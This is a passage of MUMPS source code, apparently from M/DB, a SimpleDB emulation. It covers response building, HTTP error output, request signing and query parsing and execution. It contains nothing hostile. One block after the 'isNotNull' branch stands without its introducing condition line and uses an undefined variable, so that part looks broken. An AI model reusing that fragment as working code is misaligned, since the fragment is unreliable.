^CacheTempEWD($j,lineNo)=\"<ItemName>\"_itemList(position)_\"</ItemName>\",lineNo=lineNo+1\n . . . i $g(nextToken)'=\"\" s ^CacheTempEWD($j,lineNo)=\"<NextToken>\"_nextToken_\"</NextToken>\",lineNo=lineNo+1\n . . . s ^CacheTempEWD($j,lineNo)=\"</QueryResult>\",lineNo=lineNo+1\n ;\n i action=\"QueryWithAttributes\" d\n . i '$d(itemsAndAttrs) d  q\n . . s ^CacheTempEWD($j,lineNo)=\"<QueryWithAttributesResult />\",lineNo=lineNo+1\n . e  d\n . . n attrName,attrNo,attrValue,attrValueNo,itemName,itemNo\n . . s ^CacheTempEWD($j,lineNo)=\"<QueryWithAttributesResult>\",lineNo=lineNo+1\n . . s itemNo=\"\"\n . . f  s itemNo=$o(itemsAndAttrs(itemNo)) q:itemNo=\"\"  d\n . . . s itemName=itemsAndAttrs(itemNo)\n . . . s ^CacheTempEWD($j,lineNo)=\"<Item>\",lineNo=lineNo+1\n . . . s ^CacheTempEWD($j,lineNo)=\"<Name>\"_itemName_\"</Name>\",lineNo=lineNo+1\n . . . s attrNo=\"\"\n . . . f  s attrNo=$o(itemsAndAttrs(itemNo,attrNo)) q:attrNo=\"\"  d\n . . . . s attrName=itemsAndAttrs(itemNo,attrNo)\n . . . . s attrValueNo=\"\"\n . . . . f  s attrValueNo=$o(itemsAndAttrs(itemNo,attrNo,\"value\",attrValueNo)) q:attrValueNo=\"\"  d\n . . . . . s attrValue=itemsAndAttrs(itemNo,attrNo,\"value\",attrValueNo)\n . . . . . s attrValue=$$escape(attrValue)\n . . . . . s ^CacheTempEWD($j,lineNo)=\"<Attribute>\",lineNo=lineNo+1\n . . . . . s ^CacheTempEWD($j,lineNo)=\"<Name>\"_attrName_\"</Name><Value>\"_attrValue_\"</Value>\",lineNo=lineNo+1\n . . . . . s ^CacheTempEWD($j,lineNo)=\"</Attribute>\",lineNo=lineNo+1\n . . . s ^CacheTempEWD($j,lineNo)=\"</Item>\",lineNo=lineNo+1\n . . s ^CacheTempEWD($j,lineNo)=\"</QueryWithAttributesResult>\",lineNo=lineNo+1\n ;\n i $g(%KEY(\"db\"))=\"mdb\",$g(%KEY(\"OutputFormat\"))'=\"JSON\" d\n . s ^CacheTempEWD($j,lineNo)=\"<ResponseMetadata>\",lineNo=lineNo+1\n . s ^CacheTempEWD($j,lineNo)=\"<RequestId>\"_$g(requestId)_\"</RequestId>\",lineNo=lineNo+1\n . s ^CacheTempEWD($j,lineNo)=\"<BoxUsage>\"_$g(boxUsage)_\"</BoxUsage>\",lineNo=lineNo+1\n . s ^CacheTempEWD($j,lineNo)=\"</ResponseMetadata>\",lineNo=lineNo+1\n i $g(%KEY(\"mdbRawOutput\"))'=\"true\",$g(%KEY(\"OutputFormat\"))'=\"JSON\" d\n . s ^CacheTempEWD($j,lineNo)=\"</\"_action_\"Response>\"_$c(13,10),lineNo=lineNo+1\n ;\n s len=0,lineNo=\"\"\n f  s lineNo=$o(^CacheTempEWD($j,lineNo)) q:lineNo=\"\"  d\n . s len=len+$l(^CacheTempEWD($j,lineNo))\n i '$d(%KEY(\"isCSP\")) w \"Content-length: \"_len_$c(13,10,13,10) \n s lineNo=\"\"\n f  s lineNo=$o(^CacheTempEWD($j,lineNo)) q:lineNo=\"\"  d\n . w ^CacheTempEWD($j,lineNo)\n k ^CacheTempEWD($j)\n w !\n ;i $g(^zewd(\"trace\"))=1 d trace($h_\": finished createResponse\")\n QUIT\n ;\nerrorResponse(ec,em)\n ;\n n resp\n ;\n i $g(%KEY(\"OutputFormat\"))=\"JSON\" d  QUIT\n . s resp=\"400 Bad Request\"\n . i ec=\"SignatureDoesNotMatch\" s resp=\"403 Forbidden\"\n . w \"HTTP/1.0 \"_resp_$c(13,10)\n . w \"Date: \"_$$inetDate^%zewdAPI($h)_\" \"_$tr($g(^MDBConfig(\"GMTOffset\")),\":\",\"\")_$c(13,10)\n . w \"Content-type: application/json\"_$c(13,10),$c(13,10)\n . w \"{\"\"ErrorCode\"\":\"\"\"_ec_\"\"\",\"\"ErrorMessage\"\":\"\"\"_em_\"\"\"}\"_$c(13,10)\n . w !\n ;\n s resp=\"400 Bad Request\"\n i ec=\"SignatureDoesNotMatch\" s resp=\"403 Forbidden\"\n w \"HTTP/1.0 \"_resp_$c(13,10)\n w \"Date: \"_$$inetDate^%zewdAPI($h)_\" \"_$tr($g(^MDBConfig(\"GMTOffset\")),\":\",\"\")_$c(13,10)\n w \"Content-type: text/xml\"_$c(13,10),$c(13,10)\n w \"<?xml version='1.0'?>\"_$c(13,10)\n w \"<Response><Errors><Error>\"\n w \"<Code>\"_ec_\"</Code>\"\n w \"<Message>\"_em_\"</Message>\"\n i ec'=\"SignatureDoesNotMatch\",ec'=\"InvalidClientTokenId\" w \"<BoxUsage>0</BoxUsage>\"\n w \"</Error></Errors>\"\n ; Note mis-spelling of ID instead of Id to follow SimpleDB's \"feature\"!\n w \"<RequestID>\"_$$createRequestId()_\"</RequestID>\"\n w \"</Response>\"_$c(13,10)\n w !\n QUIT\n ;\ncreateResponseStringToSign(version)\n ;\n n amp,n,name,nlc,stringToSign,nvpListlc,value\n ;\n s stringToSign=\"\"\n ;\n i version=0 d  QUIT stringToSign\n . s stringToSign=$g(%KEY(\"Action\"))_$g(%KEY(\"Timestamp\"))\n ;\n i version=1 d  QUIT stringToSign\n . s n=\"\"\n . f  s n=$o(%KEY(n)) q:n=\"\"  d\n . . q:$e(n,1,3)=\"MGW\"\n . . q:n=\"Signature\"\n . . q:n=\"isCSP\"\n . . s nvpListlc($zconvert(n,\"l\"))=n\n . . ;i $zv[\"GT.M\" d\n . . ;. s nvpListlc($zconvert(n,\"l\"))=n\n . . ;e  d\n . . ;. s nvpListlc($zconvert(n,\"l\"))=n\n . s nlc=\"\"\n . f  s nlc=$o(nvpListlc(nlc)) q:nlc=\"\"  d\n . . s name=nvpListlc(nlc)\n . . s value=%KEY(name)\n . . s stringToSign=stringToSign_name_value\n ;\n i version=2 d  QUIT stringToSign\n . n location,method,url\n . s name=\"\",amp=\"\"\n . f  s name=$o(%KEY(name)) q:name=\"\"  d\n . . q:$e(name,1,3)=\"MGW\"\n . . q:name=\"Signature\"\n . . q:name=\"isCSP\"\n . . s value=$$urlEscape(%KEY(name))\n . . s stringToSign=stringToSign_amp_name_\"=\"_value\n . . s amp=\"&\"\n . s method=$g(%CGIEVAR(\"REQUEST_METHOD\"))\n . s url=$g(%CGIEVAR(\"SERVER_NAME\"))\n . s location=$g(%CGIEVAR(\"REQUEST_URI\"))\n . i location[\"?\" s location=$p(location,\"?\",1)\n . i location=\"\" d\n . . s location=\"/scripts/mgwms32.dll\"\n . . i $d(%KEY(\"isCSP\")) s location=$$baseUri^MDBMCache()\n . e  d\n . . i location[\"http://\"!(location[\"https://\") d\n . . . s location=$p(location,\"://\",2)\n . . . s location=\"/\"_$p(location,\"/\",2,2000)\n . . . s location=$p(location,\"?\",1)\n . s stringToSign=method_$c(10)_url_$c(10)_location_$c(10)_stringToSign\n . ;s stringToSign=$$replaceAll(stringToSign,$c(13,10),\"\")\n ;\n QUIT stringToSign\n ;\ncreateToken(length)\n ;\n n i,string,token\n ;\n s string=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890\"\n s token=\"\"\n f i=1:1:length s token=token_$e(string,($r($l(string))+1))\n QUIT token_\"=\"\n ;\ninit(startTime)\n ;\n i $g(^zewd(\"trace\")) d trace($h_\": $$init\")\n i $zv[\"GT.M\" d\n . s startTime=$$ZTS^%ZMGWSIS(1)\n e  d\n . s startTime=$zts\n s startTime=(startTime*86400)+$p(startTime,\",\",2)\n QUIT $$createRequestId()\n ;\ncreateRequestId()\n n hex,i,responseId\n s responseId=\"\" \n f i=1:1:16 d\n . s hex=$$hex($r(256))\n . i $l(hex)=1 s hex=0_hex\n . s responseId=responseId_hex\n . i i=4!(i=6)!(i=8)!(i=10) s responseId=responseId_\"-\"\n QUIT $zconvert(responseId,\"l\")\n ;i $zv[\"GT.M\" QUIT $zconvert(responseId,\"l\")\n ;QUIT $zconvert(responseId,\"l\")\n \nend(startTime,boxUsage,errorCode,parameter1,parameter2)\n ;\n n endTime,error\n ;\n i $g(^zewd(\"trace\")) d trace($h_\": $$end\")\n i $zv[\"GT.M\" d\n . s endTime=$$ZTS^%ZMGWSIS(1)\n e  d\n . s endTime=$zts\n s endTime=(endTime*86400)+$p(endTime,\",\",2)\n s boxUsage=endTime-startTime,boxUsage=$j(boxUsage,1,10)\n i $g(errorCode)=\"\" QUIT \"\"\n s error=$g(^MDBErrors(errorCode))\n i error=\"\" QUIT errorCode_\"~\"_$g(parameter1)\n i $g(parameter1)'=\"\" s $p(error,\"~\",2)=parameter1\n i $g(parameter2)'=\"\" s $p(error,\"~\",4)=parameter2\n QUIT errorCode_\"~\"_$tr(error,\"~\",\"\")\n ;\ngetSignedString(string,secretKey,signatureMethod)\n ;\n n context,hash,returnValue\n ;\n i $zv[\"GT.M\" d  QUIT returnValue\n . s context=1\n . i $d(^zewd(\"config\",\"MGWSI\")) s context=0\n . i $zconvert($g(signatureMethod),\"l\")=\"hmacsha256\" d\n . . s returnValue=$$HMACSHA256^%ZMGWSIS(string,secretKey,1,context)\n . e  d\n . . s returnValue=$$HMACSHA1^%ZMGWSIS(string,secretKey,1,context)\n ;\n QUIT $$sign^MDBMCache(signatureMethod,string,secretKey)\n ;\nrunQuery(keyId,domainName,queryExpression,nextToken,itemList)\n ;\n n domainId,error,filter,itemId,itemName,matchList,name,no,pos,stop\n ;\n ;i $g(^zewd(\"trace\")) d trace($h_\": runQuery started\")\n s error=\"\"\n s filter=\"\",stop=0\n i queryExpression[\"itemName{}\" s queryExpression=$$replaceAll(queryExpression,\"itemName{}\",\"itemName()\")\n s queryExpression=$$stripSpaces($g(queryExpression))\n s domainId=$$getDomainId(keyId,domainName)\n i $g(^zewd(\"trace\"))=1 d trace(\"runQuery: domainId=\"_domainId_\"; queryExpression=\"_queryExpression)\n i domainId=\"\" QUIT \"\"\n ;\n i queryExpression=\"\" d  QUIT error\n . s itemId=\"\",no=0\n . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId)) q:itemId=\"\"  d\n . . s no=no+1\n . . s itemList(no)=^MDB(keyId,\"domains\",domainId,\"items\",itemId)\n ;\n i queryExpression[\"sort \" d  i error'=\"\" QUIT error\n . i queryExpression[\"union \"!(queryExpression[\"union[\")!(queryExpression[\"not \")!(queryExpression[\"not[\") s error=$$queryError(1)\n ;\n f  d  q:stop  q:queryExpression=\"\"  q:error'=\"\"\n . k matchList\n . s error=$$queryPredicate(.queryExpression,keyId,domainId,.matchList,.name)\n . q:error'=\"\"\n . i filter=\"\" d mergeLists(.itemList,.matchList) ;m itemList=matchList\n . i filter=\"intersection\" d\n . . s pos=\"\"\n . . f  s pos=$o(itemList(pos)) q:pos=\"\"  d\n . . . s itemName=itemList(pos)\n . . . i '$$inMatchList(.matchList,itemName) k itemList(pos)\n . . . ;i '$d(matchList(itemId)) k itemList(itemId)\n . i filter=\"union\" d mergeLists(.itemList,.matchList) ;m itemList=matchList\n . q:queryExpression=\"\"\n . s filter=\"\"\n . i $$startsWith(queryExpression,\"intersection\") d  q\n . . s queryExpression=$e(queryExpression,13,$l(queryExpression))\n . . s queryExpression=$$stripSpaces(queryExpression)\n . . s filter=\"intersection\"\n . i $$startsWith(queryExpression,\"union\") d  q\n . . s queryExpression=$e(queryExpression,6,$l(queryExpression))\n . . s queryExpression=$$stripSpaces(queryExpression)\n . . s filter=\"union\"\n . i $$startsWith(queryExpression,\"sort\") s stop=1 q\n . s error=$$queryError(2)\n ;\n i $$startsWith(queryExpression,\"sort\") d\n . n attrNo,direction,found,itemName,itemId,n,sortAttr,sortAttrId,sortedList,xvalue\n . s queryExpression=$e(queryExpression,5,$l(queryExpression))\n . s queryExpression=$$stripSpaces(queryExpression)\n . s sortAttr=$p(queryExpression,\"'\",2)\n . i sortAttr=\"\" s error=$$queryError(3) q\n . s sortAttrId=$$getAttributeId(keyId,domainId,sortAttr)\n . i sortAttrId=\"\" s error=$$queryError(4) q\n . i $g(name)'=\"\",name'=sortAttr s error=$$queryError(5) q\n . i $g(name)=\"\" d  q:error'=\"\"\n . . n no,ok\n . . s no=\"\",ok=0\n . . f  s no=$o(name(no)) q:no=\"\"  d  q:ok\n . . . i name(no)=sortAttr s ok=1 q\n . . i 'ok s error=$$queryError(6)\n . s direction=\"1\"\n . s queryExpression=$p(queryExpression,\"'\",3)\n . i queryExpression[\"desc\" s direction=\"-1\"\n . s pos=\"\"\n . ;f  s pos=$o(itemList(pos)) q:pos=\"\"  d\n . ;. s itemName=itemList(pos)\n . ;. s itemNamex=$e(itemName,1,$$indexLength())\n . ;. s sortedList(itemNamex,pos)=itemName\n . s pos=\"\"\n . f  s pos=$o(itemList(pos)) q:pos=\"\"  d\n . . s itemName=itemList(pos)\n . . s itemId=$$getItemId(keyId,domainId,itemName)\n . . s attrNo=\"\"\n . . f  s attrNo=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",sortAttrId,\"value\",attrNo)) q:attrNo=\"\"  d\n . . . s xvalue=^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",sortAttrId,\"value\",attrNo)\n . . . s sortedList(xvalue,itemName)=\"\"\n . k itemList\n . s n=0\n . s xvalue=\"\"\n . f  s xvalue=$o(sortedList(xvalue),direction) q:xvalue=\"\"  d\n . . s itemName=\"\"\n . . f  s itemName=$o(sortedList(xvalue,itemName)) q:itemName=\"\"  d\n . . . i $d(found(itemName)) q\n . . . s n=n+1\n . . . s itemList(n)=itemName\n . . . s found(itemName)=\"\"\n ;i $g(^zewd(\"trace\")) d trace($h_\": runQuery ended\")\n QUIT error\n ;\ninMatchList(matchList,itemName)\n ;\n n pos,present\n ;\n s pos=\"\",present=0\n f  s pos=$o(matchList(pos)) q:pos=\"\"  d  q:present\n . i matchList(pos)=itemName s present=1\n QUIT present\n ;\n ;\nmergeLists(toList,fromList)\n ;\n n index,itemName,maxPos,newPos,pos,posx,stop,toPos\n ;\n s pos=\"\"\n f  s pos=$o(toList(pos)) q:pos=\"\"  d\n . s itemName=toList(pos)\n . i itemName=\"\" s itemName=\" \"\n . s index(itemName)=pos\n ;\n s pos=\"\",maxPos=$o(toList(\"\"),-1)\n f  s pos=$o(fromList(pos)) q:pos=\"\"  d\n . s itemName=fromList(pos)\n . ;s toPos=\"\",stop=0\n . ;f  s toPos=$o(toList(toPos)) q:toPos=maxPos  q:toPos=\"\"  d  q:stop\n . ;. i toList(toPos)=itemName s stop=1\n . ;i 'stop d\n . s posx=$g(index(itemName))\n . i posx=\"\" d\n . . s newPos=$o(toList(\"\"),-1)+1\n . . s toList(newPos)=itemName\n . . s index(itemName)=newPos\n QUIT\n ;\nqueryPredicate(query,keyId,domainId,itemList,name)\n n c,compOp,error,i,inString,no,not,predicate,relation,stop,value\n ;\n ;d trace(\"in queryPredicate - query=\"_query)\n d\n . n queryx\n . s queryx=$$replaceAll(query,\"\\\\\",$c(3))\n . i queryx[\"\\'\" s query=$$replaceAll(queryx,\"\\'\",$c(1))\n i query[\"''\" s query=$$replaceAll(query,\"''\",$c(1))\n i query[$c(32,1,39) s query=$$replaceAll(query,$c(32,1,39),$c(32,39,1))\n i query[$c(61,1,39) s query=$$replaceAll(query,$c(61,1,39),$c(61,39,1))\n i query[$c(2) s query=$$replaceAll(query,$c(2),$c(1))\n s error=\"\",predicate=\"\"\n s not=$$queryNot(.query)\n i $e(query,1)'=\"[\" QUIT $$queryError(7)\n s inString=0\n s query=$e(query,2,$l(query))\n s stop=0\n ;d trace(\"1 query=\"_query)\n f i=1:1:$l(query) d  q:stop\n . s c=$e(query,i)\n . i c=\"'\" s inString='inString\n . i c=\"]\",'inString d  q\n . . s predicate=$e(query,1,i-1)\n . . s query=$e(query,i+1,$l(query))\n . . s stop=1\n ;d trace(\"predicate=\"_predicate)\n i predicate=\"\" QUIT $$queryError(8)\n s query=$$stripSpaces(query)\n ;d trace(\"query=\"_query)\n s error=$$parsePredicate(.predicate,.name,.compOp,.value)\n i error'=\"\" QUIT error\n s no=1\n ;d trace(\"predicate=\"_predicate)\n i predicate'=\"\" d  i error'=\"\" QUIT error\n . ;d trace(\"name=\"_name)\n . s name(1)=name\n . ;d trace(\"compOp=\"_compOp)\n . s compOp(1)=compOp\n . ;d trace(\"value=\"_value)\n . i value=\"\" s value=$c(31)\n . s value(1)=value\n . f  q:predicate=\"\"  d  q:error'=\"\"\n . . i $e(predicate,1,3)=\"and\" d  q\n . . . s predicate=$e(predicate,4,$l(predicate))\n . . . s error=$$parseSubPredicate(.predicate,.name,.compOp,.value,.no)\n . . . s relation(no)=\"&\"\n . . i $e(predicate,1,2)=\"or\" d  q\n . . . s predicate=$e(predicate,3,$l(predicate))\n . . . s error=$$parseSubPredicate(.predicate,.name,.compOp,.value,.no)\n . . . s relation(no)=\"!\"\n ;d trace(\"about to run executeQuery\")\n d executeQuery(keyId,domainId,no,.name,.compOp,.value,.relation,.itemList)\n i not d not(.itemList)\n QUIT error\n ;\nparseSubPredicate(predicate,name,compOp,value,no)\n n error\n ;\n s predicate=$$stripSpaces(predicate)\n s error=$$parsePredicate(.predicate,.name,.compOp,.value)\n i error'=\"\" QUIT error\n i name'=name(1) QUIT $$queryError(9)\n i value=\"\" s value=$c(31)\n s no=no+1\n s name(no)=name,compOp(no)=compOp,value(no)=value\n QUIT \"\"\n ;\nparsePredicate(predicate,name,compOp,value)\n n c1,cx,error\n ;\n ;d trace(\"in parsePredicate - predicate=\"_predicate)\n s predicate=$$stripSpaces(predicate)\n s c1=$e(predicate,1)\n ;d trace(\"c1=\"_c1)\n i c1'=\"'\" QUIT $$queryError(10)\n s cx=$e(predicate,$l(predicate))\n ;d trace(\"cx=\"_cx)\n i cx'=\"'\",cx'=\"\"\"\" QUIT $$queryError(11)\n ;d trace(\"passed 1\")\n ;d trace(\"111 predicate=\"_predicate)\n s error=$$getIdentifier(.predicate,.name)\n ;d trace(\"name=\"_name)\n i error'=\"\" QUIT error\n i name=\"\" QUIT $$queryError(13)\n s error=$$getCompOp(.predicate,.compOp)\n i error'=\"\" QUIT error\n ;d trace(\"222 predicate=\"_predicate)\n s error=$$getIdentifier(.predicate,.value)\n ;d trace(\"222 value=\"_value)\n i value=\"\" s value=$c(31)\n i error'=\"\",compOp=\"starts-with\",value=\"\" s error=\"\"\n QUIT error\n ;\ngetIdentifier(predicate,identifier)\n ;\n n c,c1,cx,error,escaped,i\n ;\n s error=\"\"\n s identifier=\"\"\n s escaped=0\n s c1=$e(predicate,1)\n ;d trace(\"in getIdentifier: c1=\"_c1)\n i c1'=\"'\",c1'=\"\"\"\" QUIT $$queryError(12)\n s cx=c1\n f i=2:1:$l(predicate) d  q:identifier'=\"\"\n . s c=$e(predicate,i)\n . i c=\"\\\",'escaped s escaped=1 q\n . i 'escaped,c=cx d  q\n . . s identifier=$e(predicate,2,i-1)\n . . s predicate=$e(predicate,i+1,$l(predicate))\n . . s predicate=$$stripSpaces(predicate)\n . i escaped s escaped=0\n i identifier[\"\\\\\" d\n . s identifier=$$replaceAll(identifier,\"\\\\\",$c(5))\n . s identifier=$$replaceAll(identifier,$c(5),\"\\\")\n ;d trace(\"predicate=\"_predicate_\"; identifier=\"_identifier)\n ;i identifier=\"\" QUIT $$queryError(13)\n QUIT error\n ;\ngetCompOp(predicate,compOp)\n ;\n n error\n ;\n s error=\"\"\n i $e(predicate,1)=\"=\" d  QUIT \"\"\n . s compOp=\"=\"\n . s predicate=$e(predicate,2,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1,2)=\"<=\" d  QUIT \"\"\n . s compOp=\"<=\"\n . s predicate=$e(predicate,3,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1,2)=\">=\" d  QUIT \"\"\n . s compOp=\">=\"\n . s predicate=$e(predicate,3,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1,2)=\"!=\" d  QUIT \"\"\n . s compOp=\"!=\"\n . s predicate=$e(predicate,3,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1)=\"<\" d  QUIT \"\"\n . s compOp=\"<\"\n . s predicate=$e(predicate,2,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1)=\">\" d  QUIT \"\"\n . s compOp=\">\"\n . s predicate=$e(predicate,2,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1,11)=\"starts-with\" d  QUIT \"\"\n . s compOp=\"starts-with\"\n . s predicate=$e(predicate,12,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1,4)=\"like\" d  QUIT \"\"\n . s compOp=\"like\"\n . s predicate=$e(predicate,5,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1,8)=\"not like\" d  QUIT \"\"\n . s compOp=\"notlike\"\n . s predicate=$e(predicate,9,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1,19)=\"does-not-start-with\" d  QUIT \"\"\n . s compOp=\"does-not-start-with\"\n . s predicate=$e(predicate,20,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1,6)=\"isNull\" d  QUIT \"\"\n . s compOp=\"isNull\"\n . s predicate=$e(predicate,7,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n i $e(predicate,1,9)=\"isNotNull\" d  QUIT \"\"\n . s compOp=\"isNotNull\"\n . s predicate=$e(predicate,10,$l(predicate))\n . s predicate=$$stripSpaces(predicate)\n QUIT $$queryError(14)\n ;\nqueryNot(query)\n n not\n s not=0\n i $e(query,1,3)=\"not\" d\n . s not=1\n . s query=$e(query,4,$l(query))\n . s query=$$stripSpaces(query)\n QUIT not\n ;\nqueryError(x)\n i x=5 QUIT \"InvalidSortExpression~Invalid sort expression. The sort attribute must be present in at least one of the predicates, and the predicate cannot contain the is null operator.\"\n QUIT \"InvalidQueryExpression~The specified query expression syntax is not valid (\"_x_\")\"\n ;\nnot(itemList)\n ;\n n itemId,itemName,pos,selected\n ;\n s pos=\"\"\n f  s pos=$o(itemList(pos)) q:pos=\"\"  d\n . s itemName=itemList(pos)\n . s itemId=$$getItemId(keyId,domainId,itemName)\n . s selected(itemId)=\"\"\n k itemList\n s itemId=\"\",pos=0\n f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId)) q:itemId=\"\"  d\n . i '$d(selected(itemId)) d\n . . s pos=pos+1\n . . s itemList(pos)=^MDB(keyId,\"domains\",domainId,\"items\",itemId)\n ;\n QUIT\n ;\nexecuteQuery(keyId,domainId,no,name,compOp,value,relation,itemList)\n ;\n n attribId,expr,func,itemId,itemName,pos,stop,xvalue\n ;\n s attribId=\"\"\n ;d trace(\"xx keyId=\"_keyId_\"; domainId=\"_domainId_\"; name=\"_name_\": no=\"_no)\n i $g(name)'=\"\" d\n . i $e(name,1)=\"`\",$e(name,$l(name))=\"`\" s name=$e(name,2,$l(name)-1)\n . i name[\"``\" s name=$$replace(name,\"``\",\"`\")\n . s attribId=$$getAttributeId(keyId,domainId,name)\n ;d trace(\"xx attribId=\"_attribId)\n i attribId=\"\",compOp'=\"isNull\" QUIT\n ;\n ;d trace(\"name=\"_name_\"; value=\"_value_\"; compOp=\"_compOp)\n i value[$c(1) s value=$tr(value,$c(1),\"'\")\n i name[$c(1) s name=$tr(name,$c(1),\"'\")\n i no=1,compOp=\"=\" d  QUIT\n . s pos=0,itemId=\"\"\n . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,value,itemId)) q:itemId=\"\"  d\n . . s pos=pos+1\n . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n . . ;d trace(value_\" found for itemId=\"_itemId)\n ;\n i no=1,compOp=\"!=\" d  QUIT\n . s xvalue=\"\",pos=0\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d\n . . i value=xvalue q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\"<\" d  QUIT\n . s xvalue=\"\",stop=0,pos=0\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue'<value  q:xvalue=\"\"  d  q:stop\n . . i $e(xvalue,1)'?1N s stop=1 q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\"<=\" d  QUIT\n . s xvalue=\"\",stop=0,pos=0\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue>value  q:xvalue=\"\"  d  q:stop\n . . i $e(xvalue,1)'?1N s stop=1 q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\">\" d  QUIT\n . s xvalue=value,stop=0,pos=0\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d  q:stop\n . . i $e(xvalue,1)'?1N s stop=1 q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\">=\" d  QUIT\n . s xvalue=value-1,stop=0,pos=0\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d  q:stop\n . . i $e(xvalue,1)'?1N s stop=1 q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\"isNull\" d  QUIT\n . s itemId=\"\",pos=0\n . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId)) q:itemId=\"\"  d\n . . i attribId'=\"\",$d(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId)) q\n . . s pos=pos+1\n . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\"isNotNull\" d  QUIT\n . s itemId=\"\",pos=0\n . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId)) q:itemId=\"\"  d\n . . i '$d(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId)) q\n . . s pos=pos+1\n . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d\n . . i $e(xvalue,1,len)=value q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\"like\" d\n . i value[\"\\%\" s value=$$replaceAll(value,\"\\%\",$c(6))\n . i $e(value,1)=\"%\",$e(value,$l(value))=\"%\" d  q\n . . s value=$e(value,2,$l(value)-1)\n . . s compOp=\"contains\"\n . i $e(value,$l(value))=\"%\" d  q\n . . s value=$e(value,1,$l(value)-1)\n . . s compOp=\"starts-with\"\n . i $e(value,1)=\"%\" d  q\n . . s value=$e(value,2,$l(value))\n . . s compOp=\"ends-with\"\n i no=1,compOp=\"notlike\" d\n . i value[\"\\%\" s value=$$replaceAll(value,\"\\%\",$c(6))\n . i $e(value,1)=\"%\",$e(value,$l(value))=\"%\" d  q\n . . s value=$e(value,2,$l(value)-1)\n . . s compOp=\"does-not-contain\"\n . i $e(value,$l(value))=\"%\" d  q\n . . s value=$e(value,1,$l(value)-1)\n . . s compOp=\"does-not-start-with\"\n . i $e(value,1)=\"%\" d  q\n . . s value=$e(value,2,$l(value))\n . . s compOp=\"does-not-end-with\"\n . ;s compOp=\"does-not-start-with\"\n . ;i $e(value,$l(value))=\"%\" s value=$e(value,1,$l(value)-1)\n i no=1 s value=$$replaceAll(value,$c(6),\"%\")\n i no=1,compOp=\"starts-with\" d  QUIT\n . i value=$c(31) s value=\"\"\n . i $l(value)=1 d\n . . s xvalue=$c($a(value)-1)\n . e  d\n . . n c\n . . q:value=\"\"\n . . s c=$e(value,$l(value))\n . . s c=$c($a(c)-1)\n . . s xvalue=$e(value,1,$l(value)-1)_c\n . s stop=0,pos=0\n . i value?1N.N d\n . . n len\n . . s xvalue=value-1\n . . s len=$l(value)\n . . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) 